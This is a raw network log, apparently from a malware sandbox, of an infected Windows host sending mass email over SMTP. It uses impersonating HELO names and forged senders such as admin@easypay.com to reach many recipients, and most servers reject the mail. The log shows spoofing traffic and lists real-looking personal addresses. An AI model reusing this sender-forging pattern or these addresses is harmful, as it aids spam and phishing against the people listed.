Oct 31, 2022 12:20:33.944848061 CET	50047	25	192.168.2.5	142.250.150.26	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:20:33.958911896 CET	25	50039	74.125.140.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. p8-20020adfcc88000000b0022e77162d64si4732294wrj.510 - gsmtp
Oct 31, 2022 12:20:33.999789953 CET	25	50047	142.250.150.26	192.168.2.5	250 2.1.0 OK l18-20020a2e7012000000b002770fa5f280si3829713ljc.222 - gsmtp
Oct 31, 2022 12:20:34.001210928 CET	50047	25	192.168.2.5	142.250.150.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:34.020051003 CET	25	50042	74.125.133.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. bx10-20020a5d5b0a000000b0022cdb0baec9si4594027wrb.909 - gsmtp
Oct 31, 2022 12:20:34.226461887 CET	25	50047	142.250.150.26	192.168.2.5	250 2.1.5 OK l18-20020a2e7012000000b002770fa5f280si3829713ljc.222 - gsmtp
Oct 31, 2022 12:20:34.234076977 CET	50047	25	192.168.2.5	142.250.150.26	DATA
Oct 31, 2022 12:20:34.288208008 CET	25	50047	142.250.150.26	192.168.2.5	354 Go ahead l18-20020a2e7012000000b002770fa5f280si3829713ljc.222 - gsmtp
Oct 31, 2022 12:20:34.444401979 CET	25	50053	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP y19-20020a634b13000000b0046f59be9bebsi8564135pga.102 - gsmtp
Oct 31, 2022 12:20:34.450176001 CET	50053	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:34.454631090 CET	25	50047	142.250.150.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. l18-20020a2e7012000000b002770fa5f280si3829713ljc.222 - gsmtp
Oct 31, 2022 12:20:34.605571032 CET	25	50056	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP v9-20020adfedc9000000b00236998ff6f7si4317686wro.456 - gsmtp
Oct 31, 2022 12:20:34.605753899 CET	50056	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:34.664176941 CET	25	50056	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:34.664386988 CET	50056	25	192.168.2.5	74.125.140.27	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:20:34.688589096 CET	25	50053	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:34.688848972 CET	50053	25	192.168.2.5	142.250.141.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:34.697988033 CET	25	50056	74.125.140.27	192.168.2.5	250 2.1.0 OK v9-20020adfedc9000000b00236998ff6f7si4317686wro.456 - gsmtp
Oct 31, 2022 12:20:34.700649023 CET	50056	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:34.809115887 CET	25	50055	142.250.157.26	192.168.2.5	220 mx.google.com ESMTP 19-20020a17090a1a5300b001fe27fb63d5si7662416pjl.40 - gsmtp
Oct 31, 2022 12:20:34.809277058 CET	50055	25	192.168.2.5	142.250.157.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:20:34.923125029 CET	25	50053	142.250.141.27	192.168.2.5	250 2.1.0 OK y19-20020a634b13000000b0046f59be9bebsi8564135pga.102 - gsmtp
Oct 31, 2022 12:20:34.926136971 CET	50053	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:35.010333061 CET	25	50056	74.125.140.27	192.168.2.5	250 2.1.5 OK v9-20020adfedc9000000b00236998ff6f7si4317686wro.456 - gsmtp
Oct 31, 2022 12:20:35.010929108 CET	50056	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:35.044512987 CET	25	50056	74.125.140.27	192.168.2.5	354 Go ahead v9-20020adfedc9000000b00236998ff6f7si4317686wro.456 - gsmtp
Oct 31, 2022 12:20:35.150002003 CET	25	50056	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. v9-20020adfedc9000000b00236998ff6f7si4317686wro.456 - gsmtp
Oct 31, 2022 12:20:35.171746016 CET	25	50053	142.250.141.27	192.168.2.5	250 2.1.5 OK y19-20020a634b13000000b0046f59be9bebsi8564135pga.102 - gsmtp
Oct 31, 2022 12:20:35.174019098 CET	50053	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:20:35.256885052 CET	25	50055	142.250.157.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:35.257041931 CET	50055	25	192.168.2.5	142.250.157.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:35.408694029 CET	25	50053	142.250.141.27	192.168.2.5	354 Go ahead y19-20020a634b13000000b0046f59be9bebsi8564135pga.102 - gsmtp
Oct 31, 2022 12:20:35.702028036 CET	25	50055	142.250.157.26	192.168.2.5	250 2.1.0 OK 19-20020a17090a1a5300b001fe27fb63d5si7662416pjl.40 - gsmtp
Oct 31, 2022 12:20:35.702328920 CET	50055	25	192.168.2.5	142.250.157.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:35.756023884 CET	25	50059	104.47.55.138	192.168.2.5	220 BN8NAM12FT080.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:20:35 +0000
Oct 31, 2022 12:20:35.774055004 CET	50059	25	192.168.2.5	104.47.55.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:20:35.896841049 CET	25	50059	104.47.55.138	192.168.2.5	250 BN8NAM12FT080.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:20:35.897377014 CET	50059	25	192.168.2.5	104.47.55.138	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:20:35.972743034 CET	25	50060	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:35 -0400
Oct 31, 2022 12:20:35.972949982 CET	50060	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:36.040755033 CET	25	50059	104.47.55.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:20:36.041501045 CET	50059	25	192.168.2.5	104.47.55.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:20:36.061297894 CET	25	50053	142.250.141.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. y19-20020a634b13000000b0046f59be9bebsi8564135pga.102 - gsmtp
Oct 31, 2022 12:20:36.117917061 CET	25	50057	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP o9-20020a056a0015c900b0054d5253e7d7si8625834pfu.190 - gsmtp
Oct 31, 2022 12:20:36.118201971 CET	50057	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:36.120306015 CET	25	50060	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:36.124275923 CET	50060	25	192.168.2.5	209.51.188.92	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:36.210405111 CET	25	50055	142.250.157.26	192.168.2.5	250 2.1.5 OK 19-20020a17090a1a5300b001fe27fb63d5si7662416pjl.40 - gsmtp
Oct 31, 2022 12:20:36.210746050 CET	50055	25	192.168.2.5	142.250.157.26	DATA
Oct 31, 2022 12:20:36.218780041 CET	25	50059	104.47.55.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [BN8NAM12FT080.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:20:36.268585920 CET	25	50060	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:36.268990040 CET	50060	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:20:36.420345068 CET	25	49830	85.187.148.2	192.168.2.5	451 Temporary local problem - please try later
Oct 31, 2022 12:20:36.575352907 CET	25	49830	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection
Oct 31, 2022 12:20:36.649435043 CET	25	50057	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:36.649691105 CET	50057	25	192.168.2.5	74.125.200.26	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:20:36.654264927 CET	25	50055	142.250.157.26	192.168.2.5	354 Go ahead 19-20020a17090a1a5300b001fe27fb63d5si7662416pjl.40 - gsmtp
Oct 31, 2022 12:20:36.777764082 CET	25	50060	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:36.922126055 CET	25	50060	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:36.998361111 CET	25	50061	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP v62-20020a638941000000b0043a345c65f3si8387217pgd.755 - gsmtp
Oct 31, 2022 12:20:36.998972893 CET	50061	25	192.168.2.5	74.125.200.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:37.178210020 CET	25	50057	74.125.200.26	192.168.2.5	250 2.1.0 OK o9-20020a056a0015c900b0054d5253e7d7si8625834pfu.190 - gsmtp
Oct 31, 2022 12:20:37.178669930 CET	50057	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:37.535906076 CET	25	50061	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:37.536362886 CET	50061	25	192.168.2.5	74.125.200.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:37.716552973 CET	25	50057	74.125.200.26	192.168.2.5	250 2.1.5 OK o9-20020a056a0015c900b0054d5253e7d7si8625834pfu.190 - gsmtp
Oct 31, 2022 12:20:37.716788054 CET	50057	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:37.749612093 CET	25	50055	142.250.157.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. 19-20020a17090a1a5300b001fe27fb63d5si7662416pjl.40 - gsmtp
Oct 31, 2022 12:20:38.070764065 CET	25	50061	74.125.200.27	192.168.2.5	250 2.1.0 OK v62-20020a638941000000b0043a345c65f3si8387217pgd.755 - gsmtp
Oct 31, 2022 12:20:38.070985079 CET	50061	25	192.168.2.5	74.125.200.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:38.245136023 CET	25	50057	74.125.200.26	192.168.2.5	354 Go ahead o9-20020a056a0015c900b0054d5253e7d7si8625834pfu.190 - gsmtp
Oct 31, 2022 12:20:38.625495911 CET	25	50061	74.125.200.27	192.168.2.5	250 2.1.5 OK v62-20020a638941000000b0043a345c65f3si8387217pgd.755 - gsmtp
Oct 31, 2022 12:20:38.625675917 CET	50061	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:20:39.159878969 CET	25	50061	74.125.200.27	192.168.2.5	354 Go ahead v62-20020a638941000000b0043a345c65f3si8387217pgd.755 - gsmtp
Oct 31, 2022 12:20:39.571929932 CET	25	50057	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. o9-20020a056a0015c900b0054d5253e7d7si8625834pfu.190 - gsmtp
Oct 31, 2022 12:20:39.744158983 CET	25	50062	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP x19-20020a50d613000000b00460ba005641si7367325edi.171 - gsmtp
Oct 31, 2022 12:20:39.744631052 CET	50062	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:39.756401062 CET	25	50063	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP b11-20020a056402278b00b00461be535949si7832876ede.424 - gsmtp
Oct 31, 2022 12:20:39.756634951 CET	50063	25	192.168.2.5	142.250.147.27	HELO aspmx3.googlemail.com
Oct 31, 2022 12:20:39.788604021 CET	25	50062	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:39.789218903 CET	50062	25	192.168.2.5	142.250.147.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:39.800659895 CET	25	50063	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:39.800900936 CET	50063	25	192.168.2.5	142.250.147.27	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:39.830425978 CET	25	50062	142.250.147.27	192.168.2.5	250 2.1.0 OK x19-20020a50d613000000b00460ba005641si7367325edi.171 - gsmtp
Oct 31, 2022 12:20:39.830651999 CET	50062	25	192.168.2.5	142.250.147.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:39.841988087 CET	25	50063	142.250.147.27	192.168.2.5	250 2.1.0 OK b11-20020a056402278b00b00461be535949si7832876ede.424 - gsmtp
Oct 31, 2022 12:20:39.842359066 CET	50063	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:40.001979113 CET	25	50063	142.250.147.27	192.168.2.5	250 2.1.5 OK b11-20020a056402278b00b00461be535949si7832876ede.424 - gsmtp
Oct 31, 2022 12:20:40.004379034 CET	50063	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:40.013056993 CET	25	50064	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:39 -0400
Oct 31, 2022 12:20:40.013339996 CET	50064	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:40.017968893 CET	25	50062	142.250.147.27	192.168.2.5	250 2.1.5 OK x19-20020a50d613000000b00460ba005641si7367325edi.171 - gsmtp
Oct 31, 2022 12:20:40.018177986 CET	50062	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:40.045914888 CET	25	50063	142.250.147.27	192.168.2.5	354 Go ahead b11-20020a056402278b00b00461be535949si7832876ede.424 - gsmtp
Oct 31, 2022 12:20:40.059746027 CET	25	50062	142.250.147.27	192.168.2.5	354 Go ahead x19-20020a50d613000000b00460ba005641si7367325edi.171 - gsmtp
Oct 31, 2022 12:20:40.077939987 CET	25	50065	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:20:40.078183889 CET	50065	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:20:40.159358025 CET	25	50064	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:40.159538031 CET	50064	25	192.168.2.5	209.51.188.92	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:40.159867048 CET	25	50063	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. b11-20020a056402278b00b00461be535949si7832876ede.424 - gsmtp
Oct 31, 2022 12:20:40.179951906 CET	25	50062	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. x19-20020a50d613000000b00460ba005641si7367325edi.171 - gsmtp
Oct 31, 2022 12:20:40.240665913 CET	25	50066	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP t12-20020a056402240c00b0046153dd47f0si6857171eda.441 - gsmtp
Oct 31, 2022 12:20:40.243463993 CET	50066	25	192.168.2.5	142.250.153.26	HELO aspmx2.googlemail.com
Oct 31, 2022 12:20:40.251584053 CET	25	50065	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:20:40.251766920 CET	50065	25	192.168.2.5	198.252.153.129	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:40.274713993 CET	25	50066	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:40.274943113 CET	50066	25	192.168.2.5	142.250.153.26	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:40.302479982 CET	25	50066	142.250.153.26	192.168.2.5	250 2.1.0 OK t12-20020a056402240c00b0046153dd47f0si6857171eda.441 - gsmtp
Oct 31, 2022 12:20:40.302805901 CET	50066	25	192.168.2.5	142.250.153.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:40.303030968 CET	25	50064	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:40.303184986 CET	50064	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:20:40.312616110 CET	25	50067	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP x3-20020ac24883000000b004979dcf2d15si4323344lfc.177 - gsmtp
Oct 31, 2022 12:20:40.312920094 CET	50067	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:40.369028091 CET	25	50067	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:40.369306087 CET	50067	25	192.168.2.5	142.250.150.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:40.423624992 CET	25	50067	142.250.150.27	192.168.2.5	250 2.1.0 OK x3-20020ac24883000000b004979dcf2d15si4323344lfc.177 - gsmtp
Oct 31, 2022 12:20:40.424062014 CET	50067	25	192.168.2.5	142.250.150.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:40.425046921 CET	25	50065	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:20:40.425450087 CET	50065	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:20:40.451657057 CET	25	50066	142.250.153.26	192.168.2.5	250 2.1.5 OK t12-20020a056402240c00b0046153dd47f0si6857171eda.441 - gsmtp
Oct 31, 2022 12:20:40.451993942 CET	50066	25	192.168.2.5	142.250.153.26	DATA
Oct 31, 2022 12:20:40.479726076 CET	25	50066	142.250.153.26	192.168.2.5	354 Go ahead t12-20020a056402240c00b0046153dd47f0si6857171eda.441 - gsmtp
Oct 31, 2022 12:20:40.504825115 CET	25	50061	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. v62-20020a638941000000b0043a345c65f3si8387217pgd.755 - gsmtp
Oct 31, 2022 12:20:40.568845987 CET	25	50066	142.250.153.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. t12-20020a056402240c00b0046153dd47f0si6857171eda.441 - gsmtp
Oct 31, 2022 12:20:40.599051952 CET	25	50065	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:20:40.645195007 CET	25	50067	142.250.150.27	192.168.2.5	250 2.1.5 OK x3-20020ac24883000000b004979dcf2d15si4323344lfc.177 - gsmtp
Oct 31, 2022 12:20:40.645510912 CET	50067	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:40.670303106 CET	25	50068	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP ne41-20020a1709077ba900b007add6c835a9si3004964ejc.867 - gsmtp
Oct 31, 2022 12:20:40.670517921 CET	50068	25	192.168.2.5	142.250.147.27	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:20:40.699717999 CET	25	50067	142.250.150.27	192.168.2.5	354 Go ahead x3-20020ac24883000000b004979dcf2d15si4323344lfc.177 - gsmtp
Oct 31, 2022 12:20:40.714915037 CET	25	50068	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:40.715140104 CET	50068	25	192.168.2.5	142.250.147.27	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:40.755855083 CET	25	50068	142.250.147.27	192.168.2.5	250 2.1.0 OK ne41-20020a1709077ba900b007add6c835a9si3004964ejc.867 - gsmtp
Oct 31, 2022 12:20:40.756027937 CET	50068	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:40.820544004 CET	25	50064	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:40.916173935 CET	25	50068	142.250.147.27	192.168.2.5	250 2.1.5 OK ne41-20020a1709077ba900b007add6c835a9si3004964ejc.867 - gsmtp
Oct 31, 2022 12:20:40.916357040 CET	50068	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:40.957165956 CET	25	50068	142.250.147.27	192.168.2.5	354 Go ahead ne41-20020a1709077ba900b007add6c835a9si3004964ejc.867 - gsmtp
Oct 31, 2022 12:20:40.964376926 CET	25	50064	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:41.054699898 CET	25	50067	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. x3-20020ac24883000000b004979dcf2d15si4323344lfc.177 - gsmtp
Oct 31, 2022 12:20:41.067753077 CET	25	49884	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:20:40 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:20:41.067950010 CET	49884	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:20:41.069669962 CET	25	50068	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. ne41-20020a1709077ba900b007add6c835a9si3004964ejc.867 - gsmtp
Oct 31, 2022 12:20:41.158987999 CET	25	50069	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP ba19-20020a0560001c1300b00236d6114f47si914890wrb.334 - gsmtp
Oct 31, 2022 12:20:41.159224033 CET	50069	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:41.172564983 CET	25	50070	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP qb11-20020a1709077e8b00b007799e328e10si8999438ejc.999 - gsmtp
Oct 31, 2022 12:20:41.172804117 CET	50070	25	192.168.2.5	142.250.153.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:20:41.195082903 CET	25	50069	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:41.195287943 CET	50069	25	192.168.2.5	74.125.140.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:41.203669071 CET	25	50070	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:41.203876019 CET	50070	25	192.168.2.5	142.250.153.27	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:41.222726107 CET	25	49884	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:20:41.222990990 CET	49884	25	192.168.2.5	85.187.148.2	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:20:41.228655100 CET	25	50069	74.125.140.27	192.168.2.5	250 2.1.0 OK ba19-20020a0560001c1300b00236d6114f47si914890wrb.334 - gsmtp
Oct 31, 2022 12:20:41.231023073 CET	25	50070	142.250.153.27	192.168.2.5	250 2.1.0 OK qb11-20020a1709077e8b00b007799e328e10si8999438ejc.999 - gsmtp
Oct 31, 2022 12:20:41.236601114 CET	50069	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:41.238437891 CET	50070	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:41.377782106 CET	25	49884	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:20:41.377949953 CET	49884	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:20:41.383723021 CET	25	50070	142.250.153.27	192.168.2.5	250 2.1.5 OK qb11-20020a1709077e8b00b007799e328e10si8999438ejc.999 - gsmtp
Oct 31, 2022 12:20:41.384335041 CET	50070	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:20:41.411416054 CET	25	50070	142.250.153.27	192.168.2.5	354 Go ahead qb11-20020a1709077e8b00b007799e328e10si8999438ejc.999 - gsmtp
Oct 31, 2022 12:20:41.414926052 CET	25	50069	74.125.140.27	192.168.2.5	250 2.1.5 OK ba19-20020a0560001c1300b00236d6114f47si914890wrb.334 - gsmtp
Oct 31, 2022 12:20:41.421024084 CET	50069	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:41.454467058 CET	25	50069	74.125.140.27	192.168.2.5	354 Go ahead ba19-20020a0560001c1300b00236d6114f47si914890wrb.334 - gsmtp
Oct 31, 2022 12:20:41.496942043 CET	25	50070	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. qb11-20020a1709077e8b00b007799e328e10si8999438ejc.999 - gsmtp
Oct 31, 2022 12:20:41.559207916 CET	25	50069	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. ba19-20020a0560001c1300b00236d6114f47si914890wrb.334 - gsmtp
Oct 31, 2022 12:20:41.606473923 CET	25	50071	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP j15-20020a1709066dcf00b0073dd7598686si5508910ejt.270 - gsmtp
Oct 31, 2022 12:20:41.606930017 CET	50071	25	192.168.2.5	142.250.147.26	HELO aspmx.l.google.com
Oct 31, 2022 12:20:41.651079893 CET	25	50071	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:41.652985096 CET	50071	25	192.168.2.5	142.250.147.26	MAIL FROM: <ray@hotmail.com>
Oct 31, 2022 12:20:41.694603920 CET	25	50071	142.250.147.26	192.168.2.5	250 2.1.0 OK j15-20020a1709066dcf00b0073dd7598686si5508910ejt.270 - gsmtp
Oct 31, 2022 12:20:41.694931984 CET	50071	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:41.853600025 CET	25	50071	142.250.147.26	192.168.2.5	250 2.1.5 OK j15-20020a1709066dcf00b0073dd7598686si5508910ejt.270 - gsmtp
Oct 31, 2022 12:20:41.854993105 CET	50071	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:41.896825075 CET	25	50071	142.250.147.26	192.168.2.5	354 Go ahead j15-20020a1709066dcf00b0073dd7598686si5508910ejt.270 - gsmtp
Oct 31, 2022 12:20:42.012659073 CET	25	50071	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. j15-20020a1709066dcf00b0073dd7598686si5508910ejt.270 - gsmtp
Oct 31, 2022 12:20:42.508816004 CET	25	50072	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP h1-20020a63e141000000b0046fcbca64dcsi2672602pgk.816 - gsmtp
Oct 31, 2022 12:20:42.510920048 CET	50072	25	192.168.2.5	74.125.200.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:43.052361965 CET	25	50072	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:43.052687883 CET	50072	25	192.168.2.5	74.125.200.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:43.593070984 CET	25	50072	74.125.200.27	192.168.2.5	250 2.1.0 OK h1-20020a63e141000000b0046fcbca64dcsi2672602pgk.816 - gsmtp
Oct 31, 2022 12:20:43.593521118 CET	50072	25	192.168.2.5	74.125.200.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:43.952338934 CET	25	50073	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP c17-20020a05640227d100b00461a144e981si8254185ede.356 - gsmtp
Oct 31, 2022 12:20:43.952529907 CET	50073	25	192.168.2.5	142.250.147.26	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:43.996479034 CET	25	50073	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:43.996689081 CET	50073	25	192.168.2.5	142.250.147.26	MAIL FROM: <fred@hotmail.com>
Oct 31, 2022 12:20:44.035449982 CET	25	50074	94.100.180.31	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:20:44.035743952 CET	50074	25	192.168.2.5	94.100.180.31	HELO mxs.mail.ru
Oct 31, 2022 12:20:44.037830114 CET	25	50073	142.250.147.26	192.168.2.5	250 2.1.0 OK c17-20020a05640227d100b00461a144e981si8254185ede.356 - gsmtp
Oct 31, 2022 12:20:44.038072109 CET	50073	25	192.168.2.5	142.250.147.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:44.096420050 CET	25	50074	94.100.180.31	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:20:44.096668005 CET	50074	25	192.168.2.5	94.100.180.31	MAIL FROM: <Anton@mail.ru>
Oct 31, 2022 12:20:44.144397974 CET	25	50072	74.125.200.27	192.168.2.5	250 2.1.5 OK h1-20020a63e141000000b0046fcbca64dcsi2672602pgk.816 - gsmtp
